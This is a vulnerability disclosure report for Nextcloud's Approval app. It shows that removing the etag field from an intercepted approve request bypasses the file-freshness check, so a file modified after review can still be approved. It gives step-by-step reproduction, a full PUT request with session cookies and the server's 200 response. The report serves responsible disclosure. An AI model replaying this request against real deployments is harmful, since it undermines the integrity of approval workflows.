Nextcloud · Report #3610332
Approval app's file-freshness check can be bypassed by omitting the etag parameter, allowing approval of unreviewed file changes
Summary
Advisory: https://github.com/nextcloud/security-advisories/security/advisories/GHSA-7php-cxrr-v4m3
How it was found
Summary:
The approval workflow includes a protection intended to prevent an approver from approving or rejecting a file whose contents changed after review, using the file etag. However, the backend only enforces this check when the etag parameter is present and non-empty. An attacker can intercept the request from the UI, remove the etag field, and successfully approve or reject a file even after it was modified.
This breaks the integrity of the approval process because the approver may approve a different file state than the one they reviewed.
Prerequisites
A valid approval workflow exists. test1 is allowed to request approval. test2 is allowed to approve. test2 has access to the pending file.
Steps To Reproduce:
- Create an approval workflow:
{F5551074}
- Log in as test1 and upload a file such as poc.md
{F5551092}
- Request approval for that file.
{F5551095}
{F5551096}
- Log in as test2 and review the file contents.
{F5551101}
- As test2, click Approve and intercept the request with Burp
{F5551104}
{F5551105}
- Log back in as test1 and modify the file.
{F5551108}
- As test2, It is unacceptable when content has just been edited.
{F5551114}
- As test2, remove the etag field from the JSON body and Forward the request. Verified PoC
PUT /ocs/v2.php/apps/approval/api/v1/approve/14831 HTTP/1.1
Host: 172.16.88.96:8081
Content-Length: 19
requesttoken: VG7aXKzexiptXUcHCI4D3kSYtm7Ka9qPYV/cPqY98nQ=:PQucC5msr3wlKB5GYd157nHO0RSPIYnGI3SUe/YMkwE=
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Accept-Language: vi-VN,vi;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Origin: http://172.16.88.96:8081
Accept-Encoding: gzip, deflate, br
Cookie: oc_sessionPassphrase=h0hEbFC0ZNEg6Gqy4BzpKCPT9G99atcnoDLkZETROFjdM5pBmz0CGEZiRgeoPI%2BU9qXj9UC6Ayu2TpojCyMA32cLlAj%2Bms9gvLYnViKC%2BhNWO9B0i3rBmR1YewWvEKhj; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocrzkzhsljc2=61f75550c287a8d21a3a557dd913e7ca; nc_username=test2; nc_token=a787oSWw0nXxsNOytys1vIoZTGKXsi6d; nc_session_id=61f75550c287a8d21a3a557dd913e7ca
Connection: keep-alive
{"message":"test2"}
Observed response
HTTP/1.1 200 OK
Date: Tue, 17 Mar 2026 08:30:21 GMT
Server: Apache/2.4.66 (Debian)
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: noindex, nofollow
Referrer-Policy: no-referrer
X-Powered-By: PHP/8.3.30
Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'
X-Request-Id: 8xMLCrwKUw0gFWKsJVTu
Cache-Control: no-cache, no-store, must-revalidate
Feature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'
X-User-Id: test2
Content-Length: 74
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
{"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":[]}}
{F5551125}
Impact
This vulnerability allows bypassing the content freshness protection in the approval workflow. In practice, it can lead to:
- Approval of a file version different from the one reviewed
- Loss of integrity in internal sign-off or approval processes
- Approval of altered compliance, legal, financial, or release artifacts
- Abuse by a requester who modifies the file after review but before final approval If this app is used in sensitive approval workflows, the impact may be higher depending on deployment context.